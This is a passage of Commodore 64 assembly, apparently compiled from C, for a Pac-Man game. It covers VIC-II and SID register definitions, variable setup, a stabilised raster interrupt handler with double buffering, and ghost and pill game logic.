.const OFFSET_STRUCT_MOS6569_VICII_SPRITE1_COLOR = $28
.const OFFSET_STRUCT_MOS6569_VICII_IRQ_STATUS = $19
.const SIZEOF_CHAR = 1
/// Sprite X position register for sprite #0
.label SPRITES_XPOS = $d000
/// Sprite Y position register for sprite #0
.label SPRITES_YPOS = $d001
/// Sprite colors register for sprite #0
.label SPRITES_COLOR = $d027
/// $D012 RASTER Raster counter
.label RASTER = $d012
/// $D020 Border Color
.label BORDER_COLOR = $d020
/// $D011 Control Register #1
/// - Bit#0-#2: YSCROLL Screen Soft Scroll Vertical
/// - Bit#3: RSEL Switch betweem 25 or 24 visible rows
/// RSEL| Display window height | First line | Last line
/// ----+--------------------------+-------------+----------
/// 0 | 24 text lines/192 pixels | 55 ($37) | 246 ($f6)
/// 1 | 25 text lines/200 pixels | 51 ($33) | 250 ($fa)
/// - Bit#4: DEN Switch VIC-II output on/off
/// - Bit#5: BMM Turn Bitmap Mode on/off
/// - Bit#6: ECM Turn Extended Color Mode on/off
/// - Bit#7: RST8 9th Bit for $D012 Rasterline counter
/// Initial Value: %10011011
.label VICII_CONTROL1 = $d011
/// $D016 Control register 2
/// - Bit#0-#2: XSCROLL Screen Soft Scroll Horizontal
/// - Bit#3: CSEL Switch betweem 40 or 38 visible columns
/// CSEL| Display window width | First X coo. | Last X coo.
/// ----+--------------------------+--------------+------------
/// 0 | 38 characters/304 pixels | 31 ($1f) | 334 ($14e)
/// 1 | 40 characters/320 pixels | 24 ($18) | 343 ($157)
/// - Bit#4: MCM Turn Multicolor Mode on/off
/// - Bit#5-#7: not used
/// Initial Value: %00001000
.label VICII_CONTROL2 = $d016
/// $D018 VIC-II base addresses
/// - Bit#0: not used
/// - Bit#1-#3: CB Address Bits 11-13 of the Character Set (*2048)
/// - Bit#4-#7: VM Address Bits 10-13 of the Screen RAM (*1024)
/// Initial Value: %00010100
.label VICII_MEMORY = $d018
/// VIC II IRQ Status Register
.label IRQ_STATUS = $d019
/// Channel 1 Frequency High byte
.label SID_CH1_FREQ_HI = $d401
/// Processor port data direction register
.label PROCPORT_DDR = 0
/// Processor Port Register controlling RAM/ROM configuration and the datasette
.label PROCPORT = 1
/// The SID MOS 6581/8580
.label SID = $d400
/// The VIC-II MOS 6567/6569
.label VICII = $d000
/// The CIA#1: keyboard matrix, joystick #1/#2
.label CIA1 = $dc00
/// The CIA#2: Serial bus, RS-232, VIC memory bank
.label CIA2 = $dd00
/// CIA#1 Interrupt for reading in ASM
.label CIA1_INTERRUPT = $dc0d
/// The vector used when the HARDWARE serves IRQ interrupts
.label HARDWARE_IRQ = $fffe
// Graphics Bank 1
// Address of the sprites
.label BANK_1 = $4000
// Address of the sprites
.label SPRITES_1 = $6000
// Use sprite pointers on all screens (0x43f8, 0x47f8, ...)
.label SCREENS_1 = $4000
// Graphics Bank 2
// Address of the sprites
.label BANK_2 = $c000
// Address of the sprites
.label SPRITES_2 = $e000
// Use sprite pointers on all screens (0x43f8, 0x47f8, ...)
.label SCREENS_2 = $c000
// The location where the logic code will be located before merging
.label LOGIC_CODE_UNMERGED = $e000
// The location where the screen raster code will be located before merging
.label RASTER_CODE_UNMERGED = $6000
// The location where the screen raster code will be located when running
.label RASTER_CODE = $8000
// Address of the (decrunched) splash screen
.label SPLASH = $4000
// Address for the victory graphics
.label WIN_GFX = $a700
// Address for the gameover graphics
.label GAMEOVER_GFX = $a700
// Address used by (decrunched) tiles
.label LEVEL_TILES = $4800
.label TILES_LEFT = LEVEL_TILES+$a00
.label TILES_RIGHT = LEVEL_TILES+$a80
.label TILES_TYPE = LEVEL_TILES+$b00
// Address used for table containing available directions for all tiles
// TABLE LEVEL_TILES_DIRECTIONS[64*37]
// The level data is organized as 37 rows of 64 bytes. Each row is 50 bytes containing DIRECTION bits plus 14 unused bytes to achieve 64-byte alignment.
.label LEVEL_TILES_DIRECTIONS = $3e00
.label BOB_MASK_LEFT = $5400
.label BOB_MASK_RIGT = BOB_MASK_LEFT+BOB_ROW_SIZE*6
.label BOB_PIXEL_LEFT = BOB_MASK_LEFT+BOB_ROW_SIZE*$c
.label BOB_PIXEL_RIGT = BOB_MASK_LEFT+BOB_ROW_SIZE*$12
// Tables pointing to the graphics.
// Each page represents one X column (1 byte wide, 4 MC pixels)
// On each page:
// - 0xNN00-0xNN4A : low-byte of the graphics for (X-column, Y-fine)
// - 0xNN50-0xNN9A : high-byte of the graphics for (X-column, Y-fine)
// - 0xNNA0-0xNNEA : index into RENDER_YPOS_INC for incrementing the y-pos.
.label RENDER_INDEX = $b600
// Upper memory location used during decrunching
.label INTRO_MUSIC_CRUNCHED_UPPER = $a700
// Address of the music during run-time
.label INTRO_MUSIC = $3000
// Pointer to the music init routine
.label musicInit = INTRO_MUSIC
// Pointer to the music play routine
.label musicPlay = INTRO_MUSIC+6
// Is the pacman eating sound enabled
.label pacman_ch1_enabled = $6e
// Index into the eating sound
.label pacman_ch1_idx = $66
// Pointer to the tile to render in the logic code
.label logic_tile_ptr = $1a
// The x-column of the tile to render
.label logic_tile_xcol = $1c
// The y-fine of the tile to render
.label logic_tile_yfine = $1d
// The ID*4 of the left tile to render
.label logic_tile_left_idx = $4d
// The ID*4 of the right tile to render
.label logic_tile_right_idx = $4e
// Variables used by the logic-code renderer and restorer
.label left_render_index_xcol = $4f
.label left_canvas = $51
.label left_ypos_inc_offset = $53
.label rigt_render_index_xcol = $54
.label rigt_canvas = $56
.label rigt_ypos_inc_offset = $58
// The high-byte of the start-address of the canvas currently being rendered to
.label canvas_base_hi = $20
// The offset used for bobs_restore - used to achieve double buffering
.label bobs_restore_base = $21
// Sprite settings used for the top/side/bottom sprites.
// Used for achieving single-color sprites on the splash and multi-color sprites in the game
.label top_sprites_color = $1e
.label top_sprites_mc = $3a
.label side_sprites_color = $16
.label side_sprites_mc = $17
.label bottom_sprites_color = $18
.label bottom_sprites_mc = $19
// The number of pills left
.label pill_count = $59
// 1 When pacman wins
.label pacman_wins = $1f
// The number of pacman lives left
.label pacman_lives = $23
// Signal for playing th next music frame during the intro
.label music_play_next = $15
// 0: intro, 1: game
.label phase = $3d
// The double buffer frame (0=BANK_1, 1=BANK_2)
.label frame = $6d
// The animation frame IDX (within the current direction) [0-3]
.label anim_frame_idx = $68
// Pacman x fine position (0-99).
.label pacman_xfine = $47
// Pacman y fine position (0-70).
.label pacman_yfine = $48
// The pacman movement current direction
.label pacman_direction = $34
// Pacman movement substep (0: on tile, 1: between tiles).
.label pacman_substep = $2c
// Mode determining ghost target mode. 0: chase, 1: scatter
.label ghosts_mode = $67
// Counts frames to change ghost mode (7 seconds scatter, 20 seconds chase )
.label ghosts_mode_count = $2b
// Ghost 1 x fine position (0-99).
.label ghost1_xfine = $3b
// Ghost 1 y fine position (0-70).
.label ghost1_yfine = $3c
// Ghost 1 movement current direction
.label ghost1_direction = $35
// Ghost 1 movement substep (0: on tile, 1: between tiles).
.label ghost1_substep = $2d
// Ghost 1 movement should be reversed (0: normal, 1: reverse direction)
.label ghost1_reverse = $69
// Ghost 1 respawn timer
.label ghost1_respawn = $26
// Ghost 2 x fine position (0-99).
.label ghost2_xfine = $3e
// Ghost 2 y fine position (0-70).
.label ghost2_yfine = $3f
// Ghost 2 movement current direction
.label ghost2_direction = $36
// Ghost 2 movement substep (0: on tile, 1: between tiles).
.label ghost2_substep = $2e
// Ghost 2 movement should be reversed (0: normal, 1: reverse direction)
.label ghost2_reverse = $6a
// Ghost 2 respawn timer
.label ghost2_respawn = $28
// Ghost 3 x fine position (0-99).
.label ghost3_xfine = $40
// Ghost 3 y fine position (0-70).
.label ghost3_yfine = $42
// Ghost 3 movement current direction
.label ghost3_direction = $38
// Ghost 3 movement substep (0: on tile, 1: between tiles).
.label ghost3_substep = $2f
// Ghost 3 movement should be reversed (0: normal, 1: reverse direction)
.label ghost3_reverse = $6b
// Ghost 3 respawn timer
.label ghost3_respawn = $29
// Ghost 4 x fine position (0-99).
.label ghost4_xfine = $43
// Ghost 4 y fine position (0-70).
.label ghost4_yfine = $44
// Ghost 4 movement current direction
.label ghost4_direction = $39
// Ghost 4 movement substep (0: on tile, 1: between tiles).
.label ghost4_substep = $30
// Ghost 4 movement should be reversed (0: normal, 1: reverse direction)
.label ghost4_reverse = $6c
// Ghost 4 respawn timer
.label ghost4_respawn = $2a
// Game logic sub-step [0-7]. Each frame a different sub-step is animated
.label game_logic_substep = $5c
// 1 when the game is playable and characters should move around
.label game_playable = $41
.segment Code
__start: {
// volatile char pacman_ch1_enabled = 0
lda #0
sta.z pacman_ch1_enabled
// volatile char pacman_ch1_idx = 0
sta.z pacman_ch1_idx
// volatile char* logic_tile_ptr
sta.z logic_tile_ptr
sta.z logic_tile_ptr+1
// volatile char logic_tile_xcol
sta.z logic_tile_xcol
// volatile char logic_tile_yfine
sta.z logic_tile_yfine
// volatile char logic_tile_left_idx
sta.z logic_tile_left_idx
// volatile char logic_tile_right_idx
sta.z logic_tile_right_idx
// char * volatile left_render_index_xcol
sta.z left_render_index_xcol
sta.z left_render_index_xcol+1
// char * volatile left_canvas
sta.z left_canvas
sta.z left_canvas+1
// volatile char left_ypos_inc_offset
sta.z left_ypos_inc_offset
// char * volatile rigt_render_index_xcol
sta.z rigt_render_index_xcol
sta.z rigt_render_index_xcol+1
// char * volatile rigt_canvas
sta.z rigt_canvas
sta.z rigt_canvas+1
// volatile char rigt_ypos_inc_offset
sta.z rigt_ypos_inc_offset
// volatile char canvas_base_hi
sta.z canvas_base_hi
// volatile char bobs_restore_base
sta.z bobs_restore_base
// volatile char top_sprites_color
sta.z top_sprites_color
// volatile char top_sprites_mc
sta.z top_sprites_mc
// volatile char side_sprites_color
sta.z side_sprites_color
// volatile char side_sprites_mc
sta.z side_sprites_mc
// volatile char bottom_sprites_color
sta.z bottom_sprites_color
// volatile char bottom_sprites_mc
sta.z bottom_sprites_mc
// volatile unsigned int pill_count
sta.z pill_count
sta.z pill_count+1
// volatile char pacman_wins = 0
sta.z pacman_wins
// volatile char pacman_lives = 3
lda #3
sta.z pacman_lives
// volatile char music_play_next = 0
lda #0
sta.z music_play_next
// volatile char phase = 0
sta.z phase
// volatile char frame = 0
sta.z frame
// volatile char anim_frame_idx = 0
sta.z anim_frame_idx
// volatile char pacman_xfine = 45
lda #$2d
sta.z pacman_xfine
// volatile char pacman_yfine = 35
lda #$23
sta.z pacman_yfine
// volatile enum DIRECTION pacman_direction = STOP
lda #STOP
sta.z pacman_direction
// volatile char pacman_substep = 0
lda #0
sta.z pacman_substep
// volatile enum GHOSTS_MODE ghosts_mode = 1
lda #1
sta.z ghosts_mode
// volatile char ghosts_mode_count = 0
lda #0
sta.z ghosts_mode_count
// volatile char ghost1_xfine = 45
lda #$2d
sta.z ghost1_xfine
// volatile char ghost1_yfine = 35
lda #$23
sta.z ghost1_yfine
// volatile enum DIRECTION ghost1_direction = STOP
lda #STOP
sta.z ghost1_direction
// volatile char ghost1_substep = 0
lda #0
sta.z ghost1_substep
// volatile char ghost1_reverse = 0
sta.z ghost1_reverse
// volatile char ghost1_respawn = 0
sta.z ghost1_respawn
// volatile char ghost2_xfine = 45
lda #$2d
sta.z ghost2_xfine
// volatile char ghost2_yfine = 35
lda #$23
sta.z ghost2_yfine
// volatile enum DIRECTION ghost2_direction = STOP
lda #STOP
sta.z ghost2_direction
// volatile char ghost2_substep = 0
lda #0
sta.z ghost2_substep
// volatile char ghost2_reverse = 0
sta.z ghost2_reverse
// volatile char ghost2_respawn = 0
sta.z ghost2_respawn
// volatile char ghost3_xfine = 45
lda #$2d
sta.z ghost3_xfine
// volatile char ghost3_yfine = 35
lda #$23
sta.z ghost3_yfine
// volatile enum DIRECTION ghost3_direction = STOP
lda #STOP
sta.z ghost3_direction
// volatile char ghost3_substep = 0
lda #0
sta.z ghost3_substep
// volatile char ghost3_reverse = 0
sta.z ghost3_reverse
// volatile char ghost3_respawn = 0
sta.z ghost3_respawn
// volatile char ghost4_xfine = 45
lda #$2d
sta.z ghost4_xfine
// volatile char ghost4_yfine = 35
lda #$23
sta.z ghost4_yfine
// volatile enum DIRECTION ghost4_direction = STOP
lda #STOP
sta.z ghost4_direction
// volatile char ghost4_substep = 0
lda #0
sta.z ghost4_substep
// volatile char ghost4_reverse = 0
sta.z ghost4_reverse
// volatile char ghost4_respawn = 0
sta.z ghost4_respawn
// volatile char game_logic_substep = 0
sta.z game_logic_substep
// volatile char game_playable = 0
sta.z game_playable
jsr main
rts
}
// Interrupt Routine at Screen Top
irq_screen_top: {
.const toDd001_return = 0
.const toDd002_return = 3^(>SCREENS_1)/$40
.const toD0181_return = 0
sta rega+1
stx regx+1
sty regy+1
// kickasm
// Stabilize the raster by using the double IRQ method
// Acknowledge the IRQ
lda #IRQ_RASTER
sta IRQ_STATUS
// Set-up IRQ for the next line
inc RASTER
// Point IRQ to almost stable code
lda #<stable
sta HARDWARE_IRQ
lda #>stable
sta HARDWARE_IRQ+1
tsx // Save stack pointer
cli // Reenable interrupts
// Wait for new IRQ using NOP's to ensure minimal jitter when it hits
.fill 15, NOP
.align $20
stable:
txs // Restore stack pointer
ldx #9 // Wait till the raster has almost crossed to the next line (48 cycles)
!: dex
bne !-
nop
lda RASTER
cmp RASTER
bne !+ // And correct the last cycle of potential jitter
!:
// Raster is now completely stable! (Line 0x007 cycle 7)
// asm
jsr RASTER_CODE
// VICII->SPRITE0_Y =7
// Move sprites back to the top
lda #7
sta VICII+OFFSET_STRUCT_MOS6569_VICII_SPRITE0_Y
// VICII->SPRITE1_Y =7
sta VICII+OFFSET_STRUCT_MOS6569_VICII_SPRITE1_Y
// VICII->SPRITE2_Y =7
sta VICII+OFFSET_STRUCT_MOS6569_VICII_SPRITE2_Y
// VICII->SPRITE3_Y =7
sta VICII+OFFSET_STRUCT_MOS6569_VICII_SPRITE3_Y
// VICII->SPRITE4_Y =7
sta VICII+OFFSET_STRUCT_MOS6569_VICII_SPRITE4_Y
// VICII->SPRITE5_Y =7
sta VICII+OFFSET_STRUCT_MOS6569_VICII_SPRITE5_Y
// VICII->SPRITE6_Y =7
sta VICII+OFFSET_STRUCT_MOS6569_VICII_SPRITE6_Y
// VICII->SPRITE7_Y =7
sta VICII+OFFSET_STRUCT_MOS6569_VICII_SPRITE7_Y
// VICII->MEMORY = toD018(SCREENS_1, SCREENS_1)
// Select first screen (graphics bank not important since layout in the banks is identical)
lda #toD0181_return
sta VICII+OFFSET_STRUCT_MOS6569_VICII_MEMORY
// VICII->SPRITES_MC = top_sprites_mc
// Set the top sprites color/MC
lda.z top_sprites_mc
sta VICII+OFFSET_STRUCT_MOS6569_VICII_SPRITES_MC
// VICII->SPRITE0_COLOR = top_sprites_color
lda.z top_sprites_color
sta VICII+OFFSET_STRUCT_MOS6569_VICII_SPRITE0_COLOR
// VICII->SPRITE1_COLOR = top_sprites_color
lda.z top_sprites_color
sta VICII+OFFSET_STRUCT_MOS6569_VICII_SPRITE1_COLOR
// frame+1
lda.z frame
clc
adc #1
// (frame+1) & 1
and #1
// frame = (frame+1) & 1
// Move to next frame
sta.z frame
// if(frame)
bne __b6
// CIA2->PORT_A = toDd00(SCREENS_1)
// Change graphics bank
lda #toDd002_return
sta CIA2
// canvas_base_hi = BYTE1(SPRITES_2)
// Set the next canvas base address
lda #>SPRITES_2
sta.z canvas_base_hi
// bobs_restore_base = NUM_BOBS*SIZE_BOB_RESTORE
lda #NUM_BOBS*SIZE_BOB_RESTORE
sta.z bobs_restore_base
__b1:
// if(phase==0)
lda.z phase
beq __b2
// game_logic()
// Game phase
// Perform game logic
jsr game_logic
// pacman_sound_play()
// Play sounds
jsr pacman_sound_play
__b3:
// VICII->IRQ_STATUS = IRQ_RASTER
// Acknowledge the IRQ
lda #IRQ_RASTER
sta VICII+OFFSET_STRUCT_MOS6569_VICII_IRQ_STATUS
// VICII->RASTER = IRQ_SCREEN_TOP_LINE
// Trigger IRQ at screen top again
lda #IRQ_SCREEN_TOP_LINE
sta VICII+OFFSET_STRUCT_MOS6569_VICII_RASTER
// *HARDWARE_IRQ = &irq_screen_top
lda #<irq_screen_top
sta HARDWARE_IRQ
lda #>irq_screen_top
sta HARDWARE_IRQ+1
// }
rega:
lda #0
regx:
ldx #0
regy:
ldy #0
rti
__b2:
// music_play_next = 1
// intro phase
// Play intro music
lda #1
sta.z music_play_next
jmp __b3
__b6:
// CIA2->PORT_A = toDd00(SCREENS_2)
// Change graphics bank
lda #toDd001_return
sta CIA2
// canvas_base_hi = BYTE1(SPRITES_1)
// Set the next canvas base address
lda #>SPRITES_1
sta.z canvas_base_hi
// bobs_restore_base = 0
lda #0
sta.z bobs_restore_base
jmp __b1
}
main: {
// splash_run()
// Show the splash screen
jsr splash_run
__b1:
// gameplay_run()
// Run the gameplay
jsr gameplay_run
// done_run()
// Show victory or game over image
jsr done_run
jmp __b1
}
// Perform game logic such as moving pacman and ghosts
game_logic: {
.label __67 = $45
.label __71 = $45
.label __210 = $5d
.label ghost_frame_idx = $49
.label pacman_xtile = $5b
.label ytiles = $45
.label ghost4_xtile = $5e
.label ghost4_ytile = $5f
.label target_ytile = $27
.label ghost3_xtile = $60
.label ghost3_ytile = $61
.label target_ytile1 = $27
.label ghost2_xtile = $62
.label ghost2_ytile = $63
.label target_ytile2 = $27
.label ghost1_xtile = $64
.label ghost1_ytile = $65
.label target_ytile3 = $27
// if(game_playable==0)
lda.z game_playable
bne __b1
__breturn:
// }
rts
__b1:
// game_logic_substep+1
ldx.z game_logic_substep
inx
// (game_logic_substep+1)&7
txa
and #7
// game_logic_substep = (game_logic_substep+1)&7
// Move to next sub-step
sta.z game_logic_substep
// if(game_logic_substep==0)
bne !__b2+
jmp __b2
!__b2:
// if(game_logic_substep==1)
lda #1
cmp.z game_logic_substep
bne !__b3+
jmp __b3
!__b3:
// if(game_logic_substep==2)
lda #2
cmp.z game_logic_substep
bne !__b4+
jmp __b4
!__b4:
// if(game_logic_substep==4)
lda #4
cmp.z game_logic_substep
bne !__b5+
jmp __b5
!__b5:
// if(game_logic_substep==5)
lda #5
cmp.z game_logic_substep
bne !__b6+
jmp __b6
!__b6:
// if(game_logic_substep==6)
lda #6
cmp.z game_logic_substep
bne !__b7+
jmp __b7
!__b7:
// if(game_logic_substep==3 || game_logic_substep==7)
lda #3
cmp.z game_logic_substep
beq __b14
lda #7
cmp.z game_logic_substep
beq __b14
rts
__b14:
// anim_frame_idx+1
ldx.z anim_frame_idx
inx
// (anim_frame_idx+1) & 3
txa
and #3
// anim_frame_idx = (anim_frame_idx+1) & 3
// Update animation and bobs
sta.z anim_frame_idx
// char pacman_bob_xfine = pacman_xfine-1
lda.z pacman_xfine
tay
dey
// pacman_bob_xfine/4
tya
lsr
lsr
// bobs_xcol[0] = pacman_bob_xfine/4
sta bobs_xcol
// pacman_yfine-1
ldx.z pacman_yfine
dex
// bobs_yfine[0] = pacman_yfine-1
stx bobs_yfine
// pacman_direction|anim_frame_idx
lda.z pacman_direction
ora.z anim_frame_idx
tax
// pacman_bob_xfine&3
tya
and #3
// pacman_frames[pacman_direction|anim_frame_idx] + (pacman_bob_xfine&3)
clc
adc pacman_frames,x
// bobs_bob_id[0] = pacman_frames[pacman_direction|anim_frame_idx] + (pacman_bob_xfine&3)
sta bobs_bob_id
// char ghost_frame_idx = anim_frame_idx
lda.z anim_frame_idx
sta.z ghost_frame_idx
// if(ghosts_mode==FRIGHTENED)
lda #FRIGHTENED
cmp.z ghosts_mode
bne __b44
// ghost_frame_idx |= 0x40
lda #$40
ora.z ghost_frame_idx
sta.z ghost_frame_idx
__b44:
// char ghost1_bob_xfine = ghost1_xfine-1
lda.z ghost1_xfine
tay
dey
// ghost1_bob_xfine/4
tya
lsr
lsr
// bobs_xcol[1] = ghost1_bob_xfine/4
sta bobs_xcol+1
// ghost1_yfine-1
ldx.z ghost1_yfine
dex
// bobs_yfine[1] = ghost1_yfine-1
stx bobs_yfine+1
// ghost1_direction|ghost_frame_idx
lda.z ghost1_direction
ora.z ghost_frame_idx
tax
// ghost1_bob_xfine&3
tya
and #3
// ghost_frames[ghost1_direction|ghost_frame_idx] + (ghost1_bob_xfine&3)
clc
adc ghost_frames,x
// bobs_bob_id[1] = ghost_frames[ghost1_direction|ghost_frame_idx] + (ghost1_bob_xfine&3)
sta bobs_bob_id+1
// char ghost2_bob_xfine = ghost2_xfine-1
lda.z ghost2_xfine
tay
dey
// ghost2_bob_xfine/4
tya
lsr
lsr
// bobs_xcol[2] = ghost2_bob_xfine/4
sta bobs_xcol+2
// ghost2_yfine-1
ldx.z ghost2_yfine
dex
// bobs_yfine[2] = ghost2_yfine-1
stx bobs_yfine+2
// ghost2_direction|ghost_frame_idx
lda.z ghost2_direction
ora.z ghost_frame_idx
tax
// ghost2_bob_xfine&3
tya
and #3
// ghost_frames[ghost2_direction|ghost_frame_idx] + (ghost2_bob_xfine&3)
clc
adc ghost_frames,x
// bobs_bob_id[2] = ghost_frames[ghost2_direction|ghost_frame_idx] + (ghost2_bob_xfine&3)
sta bobs_bob_id+2
// char ghost3_bob_xfine = ghost3_xfine-1
lda.z ghost3_xfine
tay
dey
// ghost3_bob_xfine/4
tya
lsr
lsr
// bobs_xcol[3] = ghost3_bob_xfine/4
sta bobs_xcol+3
// ghost3_yfine-1
ldx.z ghost3_yfine
dex
// bobs_yfine[3] = ghost3_yfine-1
stx bobs_yfine+3
// ghost3_direction|ghost_frame_idx
lda.z ghost3_direction
ora.z ghost_frame_idx
tax
// ghost3_bob_xfine&3
tya
and #3
// ghost_frames[ghost3_direction|ghost_frame_idx] + (ghost3_bob_xfine&3)
clc
adc ghost_frames,x
// bobs_bob_id[3] = ghost_frames[ghost3_direction|ghost_frame_idx] + (ghost3_bob_xfine&3)
sta bobs_bob_id+3
// char ghost4_bob_xfine = ghost4_xfine-1
lda.z ghost4_xfine
tay
dey
// ghost4_bob_xfine/4
tya
lsr
lsr
// bobs_xcol[4] = ghost4_bob_xfine/4
sta bobs_xcol+4
// ghost4_yfine-1
ldx.z ghost4_yfine
dex
// bobs_yfine[4] = ghost4_yfine-1
stx bobs_yfine+4
// ghost4_direction|ghost_frame_idx
lda.z ghost4_direction
ora.z ghost_frame_idx
tax
// ghost4_bob_xfine&3
tya
and #3
// ghost_frames[ghost4_direction|ghost_frame_idx] + (ghost4_bob_xfine&3)
clc
adc ghost_frames,x
// bobs_bob_id[4] = ghost_frames[ghost4_direction|ghost_frame_idx] + (ghost4_bob_xfine&3)
sta bobs_bob_id+4
rts
__b7:
// ghosts_mode_count++;
inc.z ghosts_mode_count
// if(ghosts_mode==SCATTER)
lda #SCATTER
cmp.z ghosts_mode
bne !__b45+
jmp __b45
!__b45:
// if(ghosts_mode==CHASE)
lda #CHASE
cmp.z ghosts_mode
bne !__b46+
jmp __b46
!__b46:
// if(ghosts_mode==FRIGHTENED)
lda #FRIGHTENED
cmp.z ghosts_mode
bne __b9
// if(ghosts_mode_count>50)
lda.z ghosts_mode_count
cmp #$32+1
bcc __b9
// ghosts_mode = CHASE
lda #CHASE
sta.z ghosts_mode
// ghosts_mode_count = 0
lda #0
sta.z ghosts_mode_count
__b8:
lda #1
jmp __b47
__b9:
lda #0
__b47:
// if(do_reverse)
cmp #0
beq __b48
// ghost1_reverse = 1
lda #1
sta.z ghost1_reverse
// ghost2_reverse = 1
sta.z ghost2_reverse
// ghost3_reverse = 1
sta.z ghost3_reverse
// ghost4_reverse = 1
sta.z ghost4_reverse
__b48:
// char pacman_xtile = pacman_xfine/2
// Examine if pacman is on a pill tile - and handle it
lda.z pacman_xfine
lsr
sta.z pacman_xtile
// char pacman_ytile = pacman_yfine/2
lda.z pacman_yfine
lsr
// char* ytiles = LEVEL_TILES + LEVEL_YTILE_OFFSET[pacman_ytile]
asl
sta.z __210
tay
clc
lda #<LEVEL_TILES
adc LEVEL_YTILE_OFFSET,y
sta.z ytiles
lda #>LEVEL_TILES
adc LEVEL_YTILE_OFFSET+1,y
sta.z ytiles+1
// char tile_id = ytiles[pacman_xtile]
ldy.z pacman_xtile
lda (ytiles),y
tax
// if(TILES_TYPE[tile_id]==PILL)
lda TILES_TYPE,x
cmp #PILL
bne !__b49+
jmp __b49
!__b49:
// if(TILES_TYPE[tile_id]==POWERUP)
lda TILES_TYPE,x
cmp #POWERUP
bne __b50
// ytiles[pacman_xtile] = EMPTY
// Empty the tile
lda #EMPTY
sta (ytiles),y
// pacman_xtile/2
tya
lsr
// logic_tile_xcol = pacman_xtile/2
// Ask the logic code renderer to update the tile
sta.z logic_tile_xcol
// pacman_xtile & 0xfe
lda #$fe
and.z pacman_xtile
// ytiles + (pacman_xtile & 0xfe)
clc
adc.z __67
sta.z __67
bcc !+
inc.z __67+1
!:
// logic_tile_ptr = ytiles + (pacman_xtile & 0xfe)
lda.z __67
sta.z logic_tile_ptr
lda.z __67+1
sta.z logic_tile_ptr+1
// pacman_ytile*2
lda.z __210
// logic_tile_yfine = pacman_ytile*2
sta.z logic_tile_yfine
// ghosts_mode = FRIGHTENED
// Start power-up mode
lda #FRIGHTENED
sta.z ghosts_mode
// ghosts_mode_count = 0
lda #0
sta.z ghosts_mode_count
__b50:
// pacman_xfine-ghost1_xfine
lda.z pacman_xfine
sec
sbc.z ghost1_xfine
tax
// pacman_yfine-ghost1_yfine
lda.z pacman_yfine
sec
sbc.z ghost1_yfine
tay
// if(ABS[pacman_xfine-ghost1_xfine]<2 && ABS[pacman_yfine-ghost1_yfine]<2)
// Check if anyone dies
lda ABS,x
cmp #2
bcs __b64
lda ABS,y
cmp #2
bcs !__b51+
jmp __b51
!__b51:
__b64:
// pacman_xfine-ghost2_xfine
lda.z pacman_xfine
sec
sbc.z ghost2_xfine
tax
// pacman_yfine-ghost2_yfine
lda.z pacman_yfine
sec
sbc.z ghost2_yfine
tay
// if(ABS[pacman_xfine-ghost2_xfine]<2 && ABS[pacman_yfine-ghost2_yfine]<2)
lda ABS,x
cmp #2
bcs __b65
lda ABS,y
cmp #2
bcc __b52
__b65:
// pacman_xfine-ghost3_xfine
lda.z pacman_xfine
sec
sbc.z ghost3_xfine
tax
// pacman_yfine-ghost3_yfine
lda.z pacman_yfine
sec
sbc.z ghost3_yfine
tay
// if(ABS[pacman_xfine-ghost3_xfine]<2 && ABS[pacman_yfine-ghost3_yfine]<2)
lda ABS,x
cmp #2
bcs __b66
lda ABS,y
cmp #2
bcc __b53
__b66:
// pacman_xfine-ghost4_xfine
lda.z pacman_xfine
sec
sbc.z ghost4_xfine
tax
// pacman_yfine-ghost4_yfine
lda.z pacman_yfine
sec
sbc.z ghost4_yfine
tay
// if(ABS[pacman_xfine-ghost4_xfine]<2 && ABS[pacman_yfine-ghost4_yfine]<2)
lda ABS,x
cmp #2
bcc !__breturn+
jmp __breturn
!__breturn:
lda ABS,y
cmp #2
bcc __b67
rts
__b67:
// if(ghosts_mode==FRIGHTENED)
lda #FRIGHTENED
cmp.z ghosts_mode
beq __b54
// pacman_lives--;
dec.z pacman_lives
// spawn_all()
jsr spawn_all
rts
__b54:
// ghost4_direction = STOP
lda #STOP
sta.z ghost4_direction
// ghost4_xfine = 50
lda #$32
sta.z ghost4_xfine
// ghost4_yfine = 35
lda #$23
sta.z ghost4_yfine
// ghost4_substep = 0
lda #0
sta.z ghost4_substep
// ghost4_respawn = 50
lda #$32
sta.z ghost4_respawn
rts
__b53:
// if(ghosts_mode==FRIGHTENED)
lda #FRIGHTENED
cmp.z ghosts_mode
beq __b55
// pacman_lives--;
dec.z pacman_lives
// spawn_all()
jsr spawn_all
rts
__b55:
// ghost3_direction = STOP
lda #STOP
sta.z ghost3_direction
// ghost3_xfine = 50
lda #$32
sta.z ghost3_xfine
// ghost3_yfine = 35
lda #$23
sta.z ghost3_yfine
// ghost3_substep = 0
lda #0
sta.z ghost3_substep
// ghost3_respawn = 50
lda #$32
sta.z ghost3_respawn
rts
__b52:
// if(ghosts_mode==FRIGHTENED)
lda #FRIGHTENED
cmp.z ghosts_mode
beq __b56
// pacman_lives--;
dec.z pacman_lives
// spawn_all()
jsr spawn_all
rts
__b56:
// ghost2_direction = STOP
lda #STOP
sta.z ghost2_direction
// ghost2_xfine = 50
lda #$32
sta.z ghost2_xfine
// ghost2_yfine = 35
lda #$23
sta.z ghost2_yfine
// ghost2_substep = 0
lda #0
sta.z ghost2_substep
// ghost2_respawn = 50
lda #$32
sta.z ghost2_respawn
rts
__b51:
// if(ghosts_mode==FRIGHTENED)
lda #FRIGHTENED
cmp.z ghosts_mode
beq __b57
// pacman_lives--;
dec.z pacman_lives
// spawn_all()
jsr spawn_all
rts
__b57:
// ghost1_direction = STOP
// ghost dies
lda #STOP
sta.z ghost1_direction
// ghost1_xfine = 50
lda #$32
sta.z ghost1_xfine
// ghost1_yfine = 35
lda #$23
sta.z ghost1_yfine
// ghost1_substep = 0
lda #0
sta.z ghost1_substep
// ghost1_respawn = 50
lda #$32
sta.z ghost1_respawn
rts
__b49:
// ytiles[pacman_xtile] = EMPTY
// Empty the tile
lda #EMPTY
ldy.z pacman_xtile
sta (ytiles),y
// pacman_xtile/2
tya
lsr
// logic_tile_xcol = pacman_xtile/2
// Ask the logic code renderer to update the tile
sta.z logic_tile_xcol
// pacman_xtile & 0xfe
lda #$fe
and.z pacman_xtile
// ytiles + (pacman_xtile & 0xfe)
clc
adc.z __71
sta.z __71
bcc !+
inc.z __71+1
!:
// logic_tile_ptr = ytiles + (pacman_xtile & 0xfe)
lda.z __71
sta.z logic_tile_ptr
lda.z __71+1
sta.z logic_tile_ptr+1
// pacman_ytile*2
lda.z __210
// logic_tile_yfine = pacman_ytile*2
sta.z logic_tile_yfine
// if(--pill_count==0)
lda.z pill_count
bne !+
dec.z pill_count+1
!:
dec.z pill_count
lda.z pill_count
ora.z pill_count+1
